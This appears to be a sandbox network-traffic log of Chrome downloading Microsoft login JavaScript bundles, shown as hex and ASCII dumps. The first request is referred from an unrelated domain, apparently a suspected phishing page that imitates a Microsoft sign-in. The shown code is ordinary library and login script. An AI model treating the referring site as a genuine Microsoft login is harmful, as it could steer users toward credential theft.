2024-11-14 15:39:43 UTC	619	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://butter.mnrov.eg-mart.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:43 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 7790881 Cache-Control: public, max-age=31536000 Content-MD5: LT++1t3XGfzBv7UAthL87A== Content-Type: application/x-javascript Date: Thu, 14 Nov 2024 15:39:43 GMT Etag: 0x8DCBD52F37806EC Last-Modified: Thu, 15 Aug 2024 17:51:54 GMT Server: ECAcc (lhc/7888) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 10a7d1b4-001e-005d-7bcf-ef5e4a000000 x-ms-version: 2009-09-19 Content-Length: 406986 Connection: close
2024-11-14 15:39:43 UTC	15652	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-11-14 15:39:43 UTC	16383	IN	Data Raw: 73 28 6e 29 2c 6f 28 72 29 3f 28 65 3f 74 28 72 2c 6e 29 3a 72 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 6e 2c 72 29 3a 72 7d 7d 28 29 3a 75 6e 64 65 66 69 6e 65 64 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 35 37 30 29 2c 6f 3d 54 79 70 65 45 72 72 6f 72 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 6e 28 65 2c 74 29 29 72 65 74 75 72 6e 20 74 3b 74 68 72 6f 77 20 6e 65 77 20 6f 28 22 49 6e 63 6f 72 72 65 63 74 20 69 6e 76 6f 63 61 74 69 6f 6e 22 29 7d 7d 2c 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 2c 6f 2c 69 3d 72 28 35 33 39 29 2c 73 3d 72 28 35 38 39 29 2c 75 3d 69 2e 70 72 6f 63 65 Data Ascii: s(n),o(r)?(e?t(r,n):r.__proto__=n,r):r}}():undefined)},function(t,e,r){"use strict";var n=r(570),o=TypeError;t.exports=function(t,e){if(n(e,t))return t;throw new o("Incorrect invocation")}},,function(t,e,r){"use strict";var n,o,i=r(539),s=r(589),u=i.proce
2024-11-14 15:39:43 UTC	16383	IN	Data Raw: 29 29 72 65 74 75 72 6e 20 65 28 72 2c 6e 29 7d 29 29 3a 74 68 69 73 2e 77 61 6c 6b 28 28 66 75 6e 63 74 69 6f 6e 28 72 2c 6e 29 7b 69 66 28 22 64 65 63 6c 22 3d 3d 3d 72 2e 74 79 70 65 26 26 72 2e 70 72 6f 70 3d 3d 3d 74 29 72 65 74 75 72 6e 20 65 28 72 2c 6e 29 7d 29 29 3a 28 65 3d 74 2c 74 68 69 73 2e 77 61 6c 6b 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 72 29 7b 69 66 28 22 64 65 63 6c 22 3d 3d 3d 74 2e 74 79 70 65 29 72 65 74 75 72 6e 20 65 28 74 2c 72 29 7d 29 29 29 7d 7d 2c 7b 6b 65 79 3a 22 77 61 6c 6b 52 75 6c 65 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 65 3f 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 3f 74 68 69 73 2e 77 61 6c 6b 28 28 66 75 6e 63 74 69 6f 6e 28 72 2c 6e 29 7b 69 66 28 Data Ascii: ))return e(r,n)})):this.walk((function(r,n){if("decl"===r.type&&r.prop===t)return e(r,n)})):(e=t,this.walk((function(t,r){if("decl"===t.type)return e(t,r)})))}},{key:"walkRules",value:function(t,e){return e?t instanceof RegExp?this.walk((function(r,n){if(
2024-11-14 15:39:44 UTC	16383	IN	Data Raw: 75 66 66 65 72 22 3d 3d 3d 65 2e 74 79 70 65 26 26 69 28 65 2e 64 61 74 61 29 29 72 65 74 75 72 6e 20 68 28 74 2c 65 2e 64 61 74 61 29 7d 76 61 72 20 6e 3b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 6d 75 73 74 20 62 65 20 61 20 73 74 72 69 6e 67 2c 20 42 75 66 66 65 72 2c 20 41 72 72 61 79 42 75 66 66 65 72 2c 20 41 72 72 61 79 2c 20 6f 72 20 61 72 72 61 79 2d 6c 69 6b 65 20 6f 62 6a 65 63 74 2e 22 29 7d 28 74 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 66 28 74 29 7b 69 66 28 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 22 73 69 7a 65 22 20 61 72 67 75 6d 65 6e 74 20 6d 75 73 74 20 62 65 20 61 20 6e 75 6d 62 65 72 27 29 Data Ascii: uffer"===e.type&&i(e.data))return h(t,e.data)}var n;throw new TypeError("First argument must be a string, Buffer, ArrayBuffer, Array, or array-like object.")}(t,e)}function f(t){if("number"!=typeof t)throw new TypeError('"size" argument must be a number')
2024-11-14 15:39:44 UTC	16383	IN	Data Raw: 6f 74 6f 74 79 70 65 2e 66 69 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 2c 6e 29 7b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 29 7b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 28 6e 3d 65 2c 65 3d 30 2c 72 3d 74 68 69 73 2e 6c 65 6e 67 74 68 29 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 72 26 26 28 6e 3d 72 2c 72 3d 74 68 69 73 2e 6c 65 6e 67 74 68 29 2c 31 3d 3d 3d 74 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 6f 3d 74 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 3b 6f 3c 32 35 36 26 26 28 74 3d 6f 29 7d 69 66 28 6e 21 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 6e 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 65 6e 63 6f 64 69 6e 67 Data Ascii: ototype.fill=function(t,e,r,n){if("string"==typeof t){if("string"==typeof e?(n=e,e=0,r=this.length):"string"==typeof r&&(n=r,r=this.length),1===t.length){var o=t.charCodeAt(0);o<256&&(t=o)}if(n!==undefined&&"string"!=typeof n)throw new TypeError("encoding
2024-11-14 15:39:44 UTC	16383	IN	Data Raw: 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 74 3d 21 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 29 7d 63 61 74 63 68 28 74 29 7b 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 21 74 7d 28 29 7d 28 29 3f 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 65 2c 72 7c 7c 5b 5d 2c 66 28 74 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 3a 65 2e 61 70 70 6c 79 28 74 2c 72 29 29 7d 66 75 6e 63 74 69 6f 6e 20 66 28 74 29 7b 72 65 74 75 72 6e 28 66 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 67 65 74 50 72 Data Ascii: ction(){try{var t=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){})))}catch(t){}return function(){return!!t}()}()?Reflect.construct(e,r\|\|[],f(t).constructor):e.apply(t,r))}function f(t){return(f=Object.setPrototypeOf?Object.getPr
2024-11-14 15:39:44 UTC	16383	IN	Data Raw: 6e 7d 28 28 28 6e 3d 72 28 37 32 37 29 29 26 26 6e 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 6e 3a 7b 22 64 65 66 61 75 6c 74 22 3a 6e 7d 29 5b 22 64 65 66 61 75 6c 74 22 5d 29 3b 65 5b 22 64 65 66 61 75 6c 74 22 5d 3d 6f 2c 74 2e 65 78 70 6f 72 74 73 3d 65 5b 22 64 65 66 61 75 6c 74 22 5d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 29 7b 72 65 74 75 72 6e 28 6e 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 74 7d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 Data Ascii: n}(((n=r(727))&&n.__esModule?n:{"default":n})["default"]);e["default"]=o,t.exports=e["default"]},function(t,e,r){"use strict";function n(t){return(n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){retur
2024-11-14 15:39:44 UTC	16383	IN	Data Raw: 7a 22 2c 74 2e 65 78 70 6f 72 74 73 3d 22 5b 6f 62 6a 65 63 74 20 7a 5d 22 3d 3d 3d 53 74 72 69 6e 67 28 6e 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 35 34 30 29 2c 6f 3d 72 28 38 30 38 29 2c 69 3d 72 28 35 35 36 29 2c 73 3d 72 28 35 34 33 29 2c 75 3d 72 28 35 36 30 29 2c 61 3d 72 28 36 33 32 29 3b 65 2e 66 3d 6e 26 26 21 6f 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 73 28 74 29 3b 66 6f 72 28 76 61 72 20 72 2c 6e 3d 75 28 65 29 2c 6f 3d 61 28 65 29 2c 63 3d 6f 2e 6c 65 6e 67 74 68 2c 66 3d 30 3b 63 3e 66 3b 29 69 2e 66 28 74 2c 72 3d 6f 5b 66 2b 2b 5d 2c 6e 5b 72 5d 29 3b 72 65 74 75 72 6e 20 74 7d 7d 2c Data Ascii: z",t.exports="[object z]"===String(n)},function(t,e,r){"use strict";var n=r(540),o=r(808),i=r(556),s=r(543),u=r(560),a=r(632);e.f=n&&!o?Object.defineProperties:function(t,e){s(t);for(var r,n=u(e),o=a(e),c=o.length,f=0;c>f;)i.f(t,r=o[f++],n[r]);return t}},
2024-11-14 15:39:44 UTC	16383	IN	Data Raw: 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 28 6e 2e 6b 65 79 29 2c 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 6e 28 74 29 7c 7c 21 74 29 72 65 74 75 72 6e 20 74 3b 76 61 72 20 72 3d 74 5b 53 79 6d 62 6f 6c 2e 74 6f 50 72 69 6d 69 74 69 76 65 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 72 29 7b 76 61 72 20 6f 3d 72 2e 63 61 6c 6c 28 74 2c 65 7c 7c 22 64 65 66 61 75 6c 74 22 29 3b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 6e 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 40 40 74 6f 50 72 69 6d 69 74 69 76 65 20 6d 75 73 74 20 72 65 74 75 72 6e 20 61 Data Ascii: e=!0),Object.defineProperty(t,i(n.key),n)}}function i(t){var e=function(t,e){if("object"!=n(t)\|\|!t)return t;var r=t[Symbol.toPrimitive];if(void 0!==r){var o=r.call(t,e\|\|"default");if("object"!=n(o))return o;throw new TypeError("@@toPrimitive must return a
2024-11-14 15:39:44 UTC	16383	IN	Data Raw: 3d 74 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 6c 2e 77 61 72 6e 69 6e 67 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 79 6e 63 28 29 2e 77 61 72 6e 69 6e 67 73 28 29 7d 2c 6c 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 73 73 7d 2c 6c 2e 74 68 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 61 73 79 6e 63 28 29 2e 74 68 65 6e 28 74 2c 65 29 7d 2c 6c 5b 22 63 61 74 63 68 22 5d 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 61 73 79 6e 63 28 29 5b 22 63 61 74 63 68 22 5d 28 74 29 7d 2c 6c 5b 22 66 69 6e 61 6c 6c 79 22 5d 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 Data Ascii: =t.prototype;return l.warnings=function(){return this.sync().warnings()},l.toString=function(){return this.css},l.then=function(t,e){return this.async().then(t,e)},l["catch"]=function(t){return this.async()["catch"](t)},l["finally"]=function(t){return thi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.17	49740	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:44 UTC	412	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_IzDt-l0Cuie0gYRUoEk15w2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:44 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 3180652 Cache-Control: public, max-age=31536000 Content-MD5: FH5pMpu6b85N3p947XewnA== Content-Type: application/x-javascript Date: Thu, 14 Nov 2024 15:39:44 GMT Etag: 0x8DCE4DDC9563CC2 Last-Modified: Sat, 05 Oct 2024 01:33:59 GMT Server: ECAcc (lhc/7966) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: c1c9facd-f01e-0047-7abd-19ea3c000000 x-ms-version: 2009-09-19 Content-Length: 449972 Connection: close
2024-11-14 15:39:44 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-11-14 15:39:44 UTC	1	IN	Data Raw: 44 Data Ascii: D
2024-11-14 15:39:44 UTC	16383	IN	Data Raw: 49 4e 47 5f 4e 4f 54 5f 41 4c 4c 4f 57 45 44 3a 22 38 30 30 34 37 38 44 37 22 2c 50 50 5f 45 5f 49 44 50 5f 42 49 4e 44 49 4e 47 5f 45 58 49 53 54 53 5f 53 41 4d 53 55 4e 47 3a 22 38 30 30 34 34 35 33 45 22 2c 50 50 5f 45 5f 54 52 41 4e 53 46 45 52 5f 54 4f 4b 45 4e 5f 49 4e 56 41 4c 49 44 5f 53 45 53 53 49 4f 4e 3a 22 38 30 30 34 33 35 41 30 22 7d 2c 6e 2e 45 73 74 73 45 72 72 6f 72 3d 7b 55 73 65 72 41 63 63 6f 75 6e 74 53 65 6c 65 63 74 69 6f 6e 49 6e 76 61 6c 69 64 3a 22 31 36 30 30 31 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a 65 64 3a 22 35 30 30 32 30 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a 65 64 41 70 69 56 65 72 73 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3a 22 35 30 30 32 30 31 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a 65 Data Ascii: ING_NOT_ALLOWED:"800478D7",PP_E_IDP_BINDING_EXISTS_SAMSUNG:"8004453E",PP_E_TRANSFER_TOKEN_INVALID_SESSION:"800435A0"},n.EstsError={UserAccountSelectionInvalid:"16001",UserUnauthorized:"50020",UserUnauthorizedApiVersionNotSupported:"500201",UserUnauthorize
2024-11-14 15:39:44 UTC	16383	IN	Data Raw: 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3a 65 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 3f 65 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 3a 7b 7d 7d 2c 68 69 73 74 6f 72 79 3a 7b 70 75 73 68 53 74 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 54 2e 69 73 48 69 73 74 6f 72 79 53 75 70 70 6f 72 74 65 64 28 29 26 26 75 2e 68 69 73 74 6f 72 79 2e 70 75 73 68 53 74 61 74 65 28 65 2c 6e 29 7d 2c 72 65 70 6c 61 63 65 53 74 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 54 2e 69 73 48 69 73 74 6f 72 79 53 75 70 70 6f 72 74 65 64 28 29 26 26 75 2e 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 65 2c 6e 29 7d 7d 2c 61 64 64 45 76 65 6e 74 4c 69 73 74 Data Ascii: ocument.defaultView.getComputedStyle(e,null):e.currentStyle?e.currentStyle:{}},history:{pushState:function(e,n){T.isHistorySupported()&&u.history.pushState(e,n)},replaceState:function(e,n){T.isHistorySupported()&&u.history.replaceState(e,n)}},addEventList
2024-11-14 15:39:44 UTC	16383	IN	Data Raw: 50 72 6f 70 65 72 74 79 4c 6f 67 4f 70 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 28 6e 3d 6e 7c 7c 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 74 72 61 63 69 6e 67 50 72 6f 70 65 72 74 79 43 68 61 6e 67 65 22 29 7c 7c 28 6e 2e 74 72 61 63 69 6e 67 50 72 6f 70 65 72 74 79 43 68 61 6e 67 65 3d 21 30 29 2c 6e 2e 65 76 65 6e 74 4c 65 76 65 6c 3d 6e 2e 65 76 65 6e 74 4c 65 76 65 6c 7c 7c 69 2e 45 76 65 6e 74 4c 65 76 65 6c 2e 49 6e 66 6f 2c 7b 76 69 65 77 4d 6f 64 65 6c 3a 65 2c 74 72 61 63 69 6e 67 4f 70 74 69 6f 6e 73 3a 6e 7d 7d 2c 73 2e 67 65 74 44 65 66 61 75 6c 74 54 65 78 74 42 6f 78 50 72 6f 70 65 72 74 79 4c 6f 67 4f 70 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 28 6e 3d Data Ascii: PropertyLogOption=function(e,n){return(n=n\|\|{}).hasOwnProperty("tracingPropertyChange")\|\|(n.tracingPropertyChange=!0),n.eventLevel=n.eventLevel\|\|i.EventLevel.Info,{viewModel:e,tracingOptions:n}},s.getDefaultTextBoxPropertyLogOption=function(e,n){return(n=
2024-11-14 15:39:45 UTC	16383	IN	Data Raw: 61 72 20 6e 3d 65 2e 75 73 65 72 6e 61 6d 65 7c 7c 22 22 2c 74 3d 65 2e 66 6c 6f 77 54 6f 6b 65 6e 7c 7c 22 22 2c 69 3d 65 2e 70 75 72 70 6f 73 65 7c 7c 63 2e 50 61 73 73 77 6f 72 64 2c 61 3d 65 2e 70 72 6f 6f 66 54 79 70 65 2c 6f 3d 65 2e 70 72 6f 6f 66 44 61 74 61 7c 7c 22 22 2c 72 3d 65 2e 69 73 45 6e 63 72 79 70 74 65 64 2c 73 3d 65 2e 75 69 4d 6f 64 65 2c 64 3d 65 2e 6c 63 69 64 2c 6c 3d 65 2e 70 68 6f 6e 65 43 6f 75 6e 74 72 79 7c 7c 22 22 2c 70 3d 65 2e 70 68 6f 6e 65 43 6f 75 6e 74 72 79 43 6f 64 65 7c 7c 22 22 2c 6d 3d 65 2e 75 6e 61 75 74 68 53 65 73 73 69 6f 6e 49 64 2c 62 3d 65 2e 70 72 6f 6f 66 43 6f 6e 66 69 72 6d 61 74 69 6f 6e 2c 76 3d 65 2e 63 61 6e 61 72 79 46 6c 6f 77 54 6f 6b 65 6e 3b 74 68 69 73 5b 75 2e 55 73 65 72 6e 61 6d 65 5d 3d Data Ascii: ar n=e.username\|\|"",t=e.flowToken\|\|"",i=e.purpose\|\|c.Password,a=e.proofType,o=e.proofData\|\|"",r=e.isEncrypted,s=e.uiMode,d=e.lcid,l=e.phoneCountry\|\|"",p=e.phoneCountryCode\|\|"",m=e.unauthSessionId,b=e.proofConfirmation,v=e.canaryFlowToken;this[u.Username]=
2024-11-14 15:39:45 UTC	16383	IN	Data Raw: 3f 67 2e 63 6c 6f 6e 65 28 67 65 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 69 26 26 28 69 2e 75 6e 73 61 66 65 5f 75 73 65 72 6e 61 6d 65 3d 6e 29 2c 6c 6e 28 65 2c 69 2c 21 30 2c 6c 2e 45 76 65 6e 74 49 64 73 2e 52 65 64 69 72 65 63 74 5f 4f 74 68 65 72 49 64 70 52 65 64 69 72 65 63 74 69 6f 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 74 6e 28 65 2c 6e 2c 74 29 7b 74 3d 74 7c 7c 6c 65 2c 74 3d 70 2e 72 65 6d 6f 76 65 28 74 2c 22 75 73 65 72 6e 61 6d 65 22 29 2c 74 3d 70 2e 72 65 6d 6f 76 65 28 74 2c 22 6c 6f 67 69 6e 5f 68 69 6e 74 22 29 3b 76 61 72 20 69 3d 70 65 3f 67 2e 63 6c 6f 6e 65 28 70 65 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 6e 26 26 28 6e 2e 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 3d 3d 3d 53 2e 4e 6f 74 45 78 69 73 74 7c 7c 6e 2e 49 73 55 6e 6d Data Ascii: ?g.clone(ge):null;return i&&(i.unsafe_username=n),ln(e,i,!0,l.EventIds.Redirect_OtherIdpRedirection)}function tn(e,n,t){t=t\|\|le,t=p.remove(t,"username"),t=p.remove(t,"login_hint");var i=pe?g.clone(pe):null;return n&&(n.IfExistsResult===S.NotExist\|\|n.IsUnm
2024-11-14 15:39:45 UTC	16383	IN	Data Raw: 65 2e 73 68 6f 77 46 6f 72 67 6f 74 55 73 65 72 6e 61 6d 65 2c 68 3d 65 2e 68 69 64 65 43 72 65 64 53 77 69 74 63 68 4c 69 6e 6b 2c 5f 3d 65 2e 61 72 69 61 44 65 73 63 72 69 62 65 64 42 79 2c 43 3d 65 2e 73 65 74 46 6f 63 75 73 2c 53 3d 74 2e 73 74 72 2c 78 3d 74 2e 75 72 6c 46 6f 72 67 6f 74 55 73 65 72 6e 61 6d 65 2c 77 3d 74 2e 73 53 69 74 65 49 64 2c 79 3d 74 2e 73 43 6c 69 65 6e 74 49 64 2c 6b 3d 74 2e 73 46 6f 72 77 61 72 64 65 64 43 6c 69 65 6e 74 49 64 2c 50 3d 74 2e 73 4e 6f 50 61 42 75 62 62 6c 65 56 65 72 73 69 6f 6e 2c 54 3d 74 2e 66 53 68 6f 77 53 69 67 6e 49 6e 4f 70 74 69 6f 6e 73 41 73 42 75 74 74 6f 6e 2c 44 3d 74 2e 66 4f 66 66 6c 69 6e 65 41 63 63 6f 75 6e 74 56 69 73 69 62 6c 65 2c 45 3d 74 2e 66 55 73 65 43 65 72 74 69 66 69 63 61 74 Data Ascii: e.showForgotUsername,h=e.hideCredSwitchLink,_=e.ariaDescribedBy,C=e.setFocus,S=t.str,x=t.urlForgotUsername,w=t.sSiteId,y=t.sClientId,k=t.sForwardedClientId,P=t.sNoPaBubbleVersion,T=t.fShowSignInOptionsAsButton,D=t.fOfflineAccountVisible,E=t.fUseCertificat
